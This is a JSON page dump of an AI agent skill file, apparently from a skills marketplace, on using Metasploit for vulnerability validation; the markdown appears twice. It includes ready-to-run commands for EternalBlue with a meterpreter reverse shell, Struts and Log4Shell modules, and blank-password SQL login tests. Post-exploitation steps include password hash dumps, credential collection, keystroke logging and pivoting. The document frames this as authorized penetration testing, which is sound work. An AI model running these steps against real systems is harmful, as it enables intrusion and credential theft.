[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M71ABCAQ03CEEE165NFY0ZJE":3,"skill-same:01M71ABCAQ03CEEE165NFY0ZJE":73},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":44,"linkOnly":45,"markdownContent":46,"markdownBody":47,"frontMatter":48,"refName":52,"commitSha":53,"skillDirectory":54,"forksCount":55,"repositoryHtmlUrl":56,"repositoryHomepageUrl":6,"ownerHtmlUrl":57,"ownerBlogUrl":6,"ownerDescription":58,"updatedAt":59,"install":60,"resources":72},"01M71ABCAQ03CEEE165NFY0ZJE","cyber-exploiting-vulnerabilities-with-metasploit-framework",null,"The Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules","nexuslinkproductions\u002Fyuri-os","nexuslinkproductions","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F273246263?v=4","01M718YX9NZRCW50B59B8ZVDKN","Marcel Spatz","01M718YXAQ7530F4B1VKN6SFQV",2,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills-labgated\u002Fcyber-exploiting-vulnerabilities-with-metasploit-framework\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",[24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43],"exploiting vulnerabilities with metasploit framework","cyber exploiting vulnerabilities with metasploit framework","Metasploit","Metasploit Framework","with","vulnerabilities","framework","domain","post-exploitation","risk","cve","penetration","rapid7","subdomain","world","vulnerability","cybersecurity","testing","vulnerability-management","modules","2026-11-10 10:12:30",false,"---\nname: cyber-exploiting-vulnerabilities-with-metasploit-framework\ndescription: \"The Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules\"\nsource: mukul975\u002FAnthropic-Cybersecurity-Skills\nlicense: Apache-2.0\nauthorized_lab: true\norigin_frontmatter: \"name: exploiting-vulnerabilities-with-metasploit-framework | description: The Metasploit Framework is the world's most widely used penetration |   testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary |   modules, and 400 post-exploitation modules | domain: cybersecurity | subdomain: vulnerability-management | tags: | - vulnerability-management | - cve | - metasploit | - exploitation | - penetration-testing | - risk | version: '1.0' | author: mahipal | license:\"\nhide: true\n---\n\n> AUTHORIZED-LAB ONLY. Offensive\u002Fdual-use capability. Use exclusively against systems you own or have explicit written authorization to test. This skill is gated out of the default discovery path; activation requires an explicit authorized-engagement flag.\n\n# Exploiting Vulnerabilities with Metasploit Framework\n\n## Overview\nThe Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules. Within vulnerability management, Metasploit serves as a validation tool to confirm that identified vulnerabilities are actually exploitable, enabling risk-based prioritization and demonstrating real-world impact to stakeholders.\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting vulnerabilities with metasploit framework\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n- Metasploit Framework installed (Kali Linux or standalone)\n- PostgreSQL database for session\u002Fcredential management\n- Written authorization and rules of engagement for testing\n- Isolated test environment or approved production testing window\n- Understanding of networking, protocols, and exploitation concepts\n\n## Core Concepts\n\n### Metasploit Architecture\n- **msfconsole**: Primary interactive command-line interface\n- **Exploits**: Modules that leverage vulnerabilities to gain access\n- **Payloads**: Code executed on the target after successful exploitation\n- **Auxiliary**: Scanning, fuzzing, and information gathering modules\n- **Post-Exploitation**: Modules for privilege escalation, persistence, pivoting\n- **Encoders**: Payload encoding to evade signature-based detection\n- **Nops**: No-operation generators for payload alignment\n\n### Exploitation Workflow in Vulnerability Management\nUnlike offensive red teaming, vulnerability management uses Metasploit to:\n1. **Validate** scanner findings (confirm exploitability)\n2. **Demonstrate** risk to business stakeholders\n3. **Prioritize** remediation based on proven exploitation paths\n4. **Verify** patches by confirming exploits no longer succeed\n\n## Workflow\n\n### Step 1: Initialize Metasploit Environment\n```bash\n# Start PostgreSQL and initialize database\nsudo systemctl start postgresql\nsudo msfdb init\n\n# Launch msfconsole\nmsfconsole -q\n\n# Verify database connection\nmsf6> db_status\nmsf6> workspace -a vuln_validation_2025\n\n# Import vulnerability scan results\nmsf6> db_import \u002Fpath\u002Fto\u002Fnessus_scan.nessus\nmsf6> hosts\nmsf6> vulns\n```\n\n### Step 2: Validate Specific Vulnerabilities\n```bash\n# Example: Validate MS17-010 (EternalBlue) from scan findings\nmsf6> search type:exploit name:ms17_010\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6> show options\nmsf6> set RHOSTS 192.168.1.100\nmsf6> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6> set LHOST 192.168.1.50\nmsf6> set LPORT 4444\n\n# Use check command first (non-exploitative validation)\nmsf6> check\n# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!\n\n# Only exploit if check confirms vulnerability and authorized\nmsf6> exploit\n\n# Example: Validate Apache Struts RCE (CVE-2017-5638)\nmsf6> use exploit\u002Fmulti\u002Fhttp\u002Fstruts2_content_type_ognl\nmsf6> set RHOSTS target.example.com\nmsf6> set RPORT 8080\nmsf6> set TARGETURI \u002Fshowcase.action\nmsf6> check\n\n# Example: Validate Log4Shell (CVE-2021-44228)\nmsf6> use exploit\u002Fmulti\u002Fhttp\u002Flog4shell_header_injection\nmsf6> set RHOSTS target.example.com\nmsf6> set HTTP_HEADER X-Api-Version\nmsf6> check\n```\n\n### Step 3: Auxiliary Scanning for Validation\n```bash\n# SMB vulnerability scanning\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms17_010\nmsf6> set RHOSTS 192.168.1.0\u002F24\nmsf6> set THREADS 10\nmsf6> run\n\n# SSL\u002FTLS vulnerability checks\nmsf6> use auxiliary\u002Fscanner\u002Fssl\u002Fopenssl_heartbleed\nmsf6> set RHOSTS target.example.com\nmsf6> run\n\n# HTTP vulnerability validation\nmsf6> use auxiliary\u002Fscanner\u002Fhttp\u002Fdir_listing\nmsf6> set RHOSTS target.example.com\nmsf6> run\n\n# Database authentication testing\nmsf6> use auxiliary\u002Fscanner\u002Fmssql\u002Fmssql_login\nmsf6> set RHOSTS db-server.corp.local\nmsf6> set USERNAME sa\nmsf6> set PASSWORD \"\"\nmsf6> run\n```\n\n### Step 4: Post-Exploitation Impact Assessment\n```bash\n# After successful exploitation, demonstrate impact\nmeterpreter> getuid\nmeterpreter> sysinfo\nmeterpreter> hashdump\nmeterpreter> run post\u002Fmulti\u002Fgather\u002Fenv\nmeterpreter> run post\u002Fwindows\u002Fgather\u002Fenum_patches\nmeterpreter> run post\u002Fwindows\u002Fgather\u002Fcredentials\u002Fcredential_collector\n\n# Network pivoting demonstration\nmeterpreter> run post\u002Fmulti\u002Fmanage\u002Fautoroute\nmeterpreter> run auxiliary\u002Fserver\u002Fsocks_proxy\n\n# Screenshot for evidence\nmeterpreter> screenshot\nmeterpreter> keyscan_start\n```\n\n### Step 5: Document and Report Findings\n```bash\n# Export exploitation evidence\nmsf6> vulns -o \u002Ftmp\u002Fvalidated_vulns.csv\nmsf6> hosts -o \u002Ftmp\u002Fcompromised_hosts.csv\nmsf6> creds -o \u002Ftmp\u002Fcaptured_creds.csv\nmsf6> loot -o \u002Ftmp\u002Fcaptured_loot.csv\n\n# Generate report from database\nmsf6> db_export -f xml \u002Ftmp\u002Fmsf_report.xml\n```\n\n### Step 6: Post-Patch Verification\n```bash\n# After remediation, verify exploit no longer works\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6> set RHOSTS 192.168.1.100\nmsf6> check\n# [-] 192.168.1.100:445 - Host does NOT appear vulnerable.\n# Patch verified successfully\n```\n\n## Safety Controls\n1. **Always use `check` command** before `exploit` when available\n2. **Set AutoRunScript** for clean session management\n3. **Use EXITFUNC=thread** to prevent crashing target services\n4. **Limit payload capabilities** to minimum needed for validation\n5. **Document every action** for audit trail and evidence\n6. **Use workspace isolation** per engagement\n7. **Never run Metasploit against unauthorized targets**\n\n## Best Practices\n1. Start with vulnerability check modules before exploitation\n2. Use Metasploit to validate top-priority scanner findings only\n3. Coordinate with system owners for testing windows\n4. Maintain detailed logs of all exploitation attempts\n5. Clean up all artifacts and sessions after testing\n6. Use results to create compelling risk narratives for stakeholders\n7. Integrate Metasploit validation into vulnerability management workflow\n\n## Common Pitfalls\n- Exploiting without written authorization (legal liability)\n- Using exploitation on production systems without coordination\n- Not cleaning up Meterpreter sessions and artifacts\n- Confusing vulnerability validation with penetration testing scope\n- Using outdated Metasploit modules against patched systems\n- Failing to document exploitation evidence for remediation teams\n\n## Related Skills\n- performing-red-team-validated-vulnerability-testing\n- scanning-infrastructure-with-nessus\n- performing-network-vulnerability-assessment\n","> AUTHORIZED-LAB ONLY. Offensive\u002Fdual-use capability. Use exclusively against systems you own or have explicit written authorization to test. This skill is gated out of the default discovery path; activation requires an explicit authorized-engagement flag.\n\n# Exploiting Vulnerabilities with Metasploit Framework\n\n## Overview\nThe Metasploit Framework is the world's most widely used penetration testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary modules, and 400 post-exploitation modules. Within vulnerability management, Metasploit serves as a validation tool to confirm that identified vulnerabilities are actually exploitable, enabling risk-based prioritization and demonstrating real-world impact to stakeholders.\n\n\n## When to Use\n\n- When performing authorized security testing that involves exploiting vulnerabilities with metasploit framework\n- When analyzing malware samples or attack artifacts in a controlled environment\n- When conducting red team exercises or penetration testing engagements\n- When building detection capabilities based on offensive technique understanding\n\n## Prerequisites\n- Metasploit Framework installed (Kali Linux or standalone)\n- PostgreSQL database for session\u002Fcredential management\n- Written authorization and rules of engagement for testing\n- Isolated test environment or approved production testing window\n- Understanding of networking, protocols, and exploitation concepts\n\n## Core Concepts\n\n### Metasploit Architecture\n- **msfconsole**: Primary interactive command-line interface\n- **Exploits**: Modules that leverage vulnerabilities to gain access\n- **Payloads**: Code executed on the target after successful exploitation\n- **Auxiliary**: Scanning, fuzzing, and information gathering modules\n- **Post-Exploitation**: Modules for privilege escalation, persistence, pivoting\n- **Encoders**: Payload encoding to evade signature-based detection\n- **Nops**: No-operation generators for payload alignment\n\n### Exploitation Workflow in Vulnerability Management\nUnlike offensive red teaming, vulnerability management uses Metasploit to:\n1. **Validate** scanner findings (confirm exploitability)\n2. **Demonstrate** risk to business stakeholders\n3. **Prioritize** remediation based on proven exploitation paths\n4. **Verify** patches by confirming exploits no longer succeed\n\n## Workflow\n\n### Step 1: Initialize Metasploit Environment\n```bash\n# Start PostgreSQL and initialize database\nsudo systemctl start postgresql\nsudo msfdb init\n\n# Launch msfconsole\nmsfconsole -q\n\n# Verify database connection\nmsf6> db_status\nmsf6> workspace -a vuln_validation_2025\n\n# Import vulnerability scan results\nmsf6> db_import \u002Fpath\u002Fto\u002Fnessus_scan.nessus\nmsf6> hosts\nmsf6> vulns\n```\n\n### Step 2: Validate Specific Vulnerabilities\n```bash\n# Example: Validate MS17-010 (EternalBlue) from scan findings\nmsf6> search type:exploit name:ms17_010\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6> show options\nmsf6> set RHOSTS 192.168.1.100\nmsf6> set PAYLOAD windows\u002Fx64\u002Fmeterpreter\u002Freverse_tcp\nmsf6> set LHOST 192.168.1.50\nmsf6> set LPORT 4444\n\n# Use check command first (non-exploitative validation)\nmsf6> check\n# [+] 192.168.1.100:445 - Host is likely VULNERABLE to MS17-010!\n\n# Only exploit if check confirms vulnerability and authorized\nmsf6> exploit\n\n# Example: Validate Apache Struts RCE (CVE-2017-5638)\nmsf6> use exploit\u002Fmulti\u002Fhttp\u002Fstruts2_content_type_ognl\nmsf6> set RHOSTS target.example.com\nmsf6> set RPORT 8080\nmsf6> set TARGETURI \u002Fshowcase.action\nmsf6> check\n\n# Example: Validate Log4Shell (CVE-2021-44228)\nmsf6> use exploit\u002Fmulti\u002Fhttp\u002Flog4shell_header_injection\nmsf6> set RHOSTS target.example.com\nmsf6> set HTTP_HEADER X-Api-Version\nmsf6> check\n```\n\n### Step 3: Auxiliary Scanning for Validation\n```bash\n# SMB vulnerability scanning\nmsf6> use auxiliary\u002Fscanner\u002Fsmb\u002Fsmb_ms17_010\nmsf6> set RHOSTS 192.168.1.0\u002F24\nmsf6> set THREADS 10\nmsf6> run\n\n# SSL\u002FTLS vulnerability checks\nmsf6> use auxiliary\u002Fscanner\u002Fssl\u002Fopenssl_heartbleed\nmsf6> set RHOSTS target.example.com\nmsf6> run\n\n# HTTP vulnerability validation\nmsf6> use auxiliary\u002Fscanner\u002Fhttp\u002Fdir_listing\nmsf6> set RHOSTS target.example.com\nmsf6> run\n\n# Database authentication testing\nmsf6> use auxiliary\u002Fscanner\u002Fmssql\u002Fmssql_login\nmsf6> set RHOSTS db-server.corp.local\nmsf6> set USERNAME sa\nmsf6> set PASSWORD \"\"\nmsf6> run\n```\n\n### Step 4: Post-Exploitation Impact Assessment\n```bash\n# After successful exploitation, demonstrate impact\nmeterpreter> getuid\nmeterpreter> sysinfo\nmeterpreter> hashdump\nmeterpreter> run post\u002Fmulti\u002Fgather\u002Fenv\nmeterpreter> run post\u002Fwindows\u002Fgather\u002Fenum_patches\nmeterpreter> run post\u002Fwindows\u002Fgather\u002Fcredentials\u002Fcredential_collector\n\n# Network pivoting demonstration\nmeterpreter> run post\u002Fmulti\u002Fmanage\u002Fautoroute\nmeterpreter> run auxiliary\u002Fserver\u002Fsocks_proxy\n\n# Screenshot for evidence\nmeterpreter> screenshot\nmeterpreter> keyscan_start\n```\n\n### Step 5: Document and Report Findings\n```bash\n# Export exploitation evidence\nmsf6> vulns -o \u002Ftmp\u002Fvalidated_vulns.csv\nmsf6> hosts -o \u002Ftmp\u002Fcompromised_hosts.csv\nmsf6> creds -o \u002Ftmp\u002Fcaptured_creds.csv\nmsf6> loot -o \u002Ftmp\u002Fcaptured_loot.csv\n\n# Generate report from database\nmsf6> db_export -f xml \u002Ftmp\u002Fmsf_report.xml\n```\n\n### Step 6: Post-Patch Verification\n```bash\n# After remediation, verify exploit no longer works\nmsf6> use exploit\u002Fwindows\u002Fsmb\u002Fms17_010_eternalblue\nmsf6> set RHOSTS 192.168.1.100\nmsf6> check\n# [-] 192.168.1.100:445 - Host does NOT appear vulnerable.\n# Patch verified successfully\n```\n\n## Safety Controls\n1. **Always use `check` command** before `exploit` when available\n2. **Set AutoRunScript** for clean session management\n3. **Use EXITFUNC=thread** to prevent crashing target services\n4. **Limit payload capabilities** to minimum needed for validation\n5. **Document every action** for audit trail and evidence\n6. **Use workspace isolation** per engagement\n7. **Never run Metasploit against unauthorized targets**\n\n## Best Practices\n1. Start with vulnerability check modules before exploitation\n2. Use Metasploit to validate top-priority scanner findings only\n3. Coordinate with system owners for testing windows\n4. Maintain detailed logs of all exploitation attempts\n5. Clean up all artifacts and sessions after testing\n6. Use results to create compelling risk narratives for stakeholders\n7. Integrate Metasploit validation into vulnerability management workflow\n\n## Common Pitfalls\n- Exploiting without written authorization (legal liability)\n- Using exploitation on production systems without coordination\n- Not cleaning up Meterpreter sessions and artifacts\n- Confusing vulnerability validation with penetration testing scope\n- Using outdated Metasploit modules against patched systems\n- Failing to document exploitation evidence for remediation teams\n\n## Related Skills\n- performing-red-team-validated-vulnerability-testing\n- scanning-infrastructure-with-nessus\n- performing-network-vulnerability-assessment\n",{"hide":49,"name":5,"source":50,"license":15,"description":7,"authorized_lab":49,"origin_frontmatter":51},true,"mukul975\u002FAnthropic-Cybersecurity-Skills","name: exploiting-vulnerabilities-with-metasploit-framework | description: The Metasploit Framework is the world's most widely used penetration |   testing platform, maintained by Rapid7. It contains over 2,300 exploits, 1,200 auxiliary |   modules, and 400 post-exploitation modules | domain: cybersecurity | subdomain: vulnerability-management | tags: | - vulnerability-management | - cve | - metasploit | - exploitation | - penetration-testing | - risk | version: '1.0' | author: mahipal | license:","main","4c6d8d65f3d6096e2fc25b0845e481dda73c2794",".claude\u002Fskills-labgated\u002Fcyber-exploiting-vulnerabilities-with-metasploit-framework",0,"https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions","Building deterministic AI governance and continuity systems. Workflow architect + visual storyteller","2026-11-11 16:42:59",{"source":8,"skillName":5,"commands":61,"prompt":71,"zipAvailable":49},[62,65,68],{"tool":63,"command":64},"npx","npx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-exploiting-vulnerabilities-with-metasploit-framework",{"tool":66,"command":67},"bunx","bunx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-exploiting-vulnerabilities-with-metasploit-framework",{"tool":69,"command":70},"pnpm","pnpm dlx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-exploiting-vulnerabilities-with-metasploit-framework","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills-labgated\u002Fcyber-exploiting-vulnerabilities-with-metasploit-framework\u002FSKILL.md",[],[74,97,121,149,178,197],{"skillNo":75,"name":76,"nameZh":6,"description":77,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":79,"categories":80,"keywords":81,"publishedAt":44},"01M71CG1AME5WC0A79AE65WT0X","zoom-out","Tell the agent to zoom out and give broader context or a higher-level perspective. Use when you're unfamiliar with a section of code or need to understand how it fits into the bigger picture.","MIT","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fzoom-out\u002FSKILL.md",[],[82,83,28,84,85,86,87,88,89,90,91,92,93,94,95,96],"zoom out","zoom","harness","how","section","re","true","understand","use","perspective","when","you","code","it","context",{"skillNo":98,"name":99,"nameZh":6,"description":100,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":101,"categories":102,"keywords":103,"publishedAt":44},"01M71CFY9ATD0BAXV6B14HFG7C","yuri-shura","6-perspective adversarial review for high-stakes turns (architecture decisions, refactor planning, deployment review) — fans out architect, adversary (7-vector attack), maintainer, ops, product, and security perspectives in parallel, then consolidates. Use when user says 'review this decision', '\u002Fshura', 'adversarial review', 'what could go wrong', 'architecture review', or 'deployment review'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-shura\u002FSKILL.md",[],[104,105,84,106,107,108,109,110,111,112,113,90,114,92,115,116,117,118,119,120],"yuri shura","parallel","architecture review","planning","for","deployment","vector","strategic review","decision","strategic","ops","workflow","decisions","architecture","review","perspectives","adversarial",{"skillNo":122,"name":123,"nameZh":6,"description":124,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":125,"categories":126,"keywords":130,"publishedAt":44},"01M71CFTTYW1HA2MNX38EV1GJ5","yuri-sales-intelligence","Unified sales and outreach skill generating cold outreach openers, social selling sequences, objection rebuttals, and ad creative for any paid platform — multi-persona aware, adapting tone and offer frame to buyer type. Use when user says 'write a cold email', 'outreach sequence', 'objection handling', 'ad copy', or 'sales pitch'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-sales-intelligence\u002FSKILL.md",[127],{"categoryNo":128,"categoryName":129,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000005","邮件与沟通",[131,132,133,134,135,136,137,138,139,92,140,141,142,143,144,145,146,108,147,148],"intelligence","sales intelligence","yuri sales intelligence","sales","cold","paid","social","persona","pitch","cold email","ad creative","write","sequences","sequence","platform","email","cold outreach","frame",{"skillNo":150,"name":151,"nameZh":6,"description":152,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":153,"categories":154,"keywords":163,"publishedAt":44},"01M71CFQMBFTFADJNGP0Z2WCYK","yuri-code-intelligence","Unified code quality intelligence layer that diagnoses code smells (Long Method, Feature Envy, design pattern issues), prescribes targeted Fowler refactoring techniques, and reviews code for security, performance, and clarity. Use when user says 'review this code', 'refactor this', 'what's wrong with this method', 'code smells', or 'clean this up'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-code-intelligence\u002FSKILL.md",[155,158],{"categoryNo":156,"categoryName":157,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000007","代码审查",{"categoryNo":159,"categoryName":160,"taxonomyType":161,"taxonomyTypeDesc":162},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[164,94,165,131,84,166,167,168,108,169,170,171,172,173,174,175,176,177,90,92],"yuri code intelligence","code intelligence","reviews","code quality","feature","performance","code review","long","up","issues","clean","techniques","improve","design",{"skillNo":179,"name":180,"nameZh":6,"description":181,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":182,"categories":183,"keywords":184,"publishedAt":44},"01M71CFP32RT6GD3GKNHCJP8VP","yuri-adw","Invoke when user asks to run the ADW loop \u002F agentic engineering loop \u002F software factory workflow.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-adw\u002FSKILL.md",[],[185,186,187,188,189,190,191,192,193,92,194,115,195,196],"yuri adw","run","engineering loop","software factory","software","agentic engineering","factory","loop","invoke","engineering","agentic","user",{"skillNo":198,"name":199,"nameZh":6,"description":200,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":78,"licenseFileUrl":6,"sourceHtmlUrl":201,"categories":202,"keywords":213,"publishedAt":44},"01M71CFK4VPEKY6A73237P7RSN","writing-skills","Use when creating new skills, editing existing skills, or verifying skills work before deployment","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fwriting-skills\u002FSKILL.md",[203,204,207,210],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":205,"categoryName":206,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":208,"categoryName":209,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":211,"categoryName":212,"taxonomyType":161,"taxonomyTypeDesc":162},"01JBSEEDCAT000000000000036","内容创作者",[214,215,216,92,115,217,84,218,109,90,219],"writing","writing skills","new","work","editing","Existing"]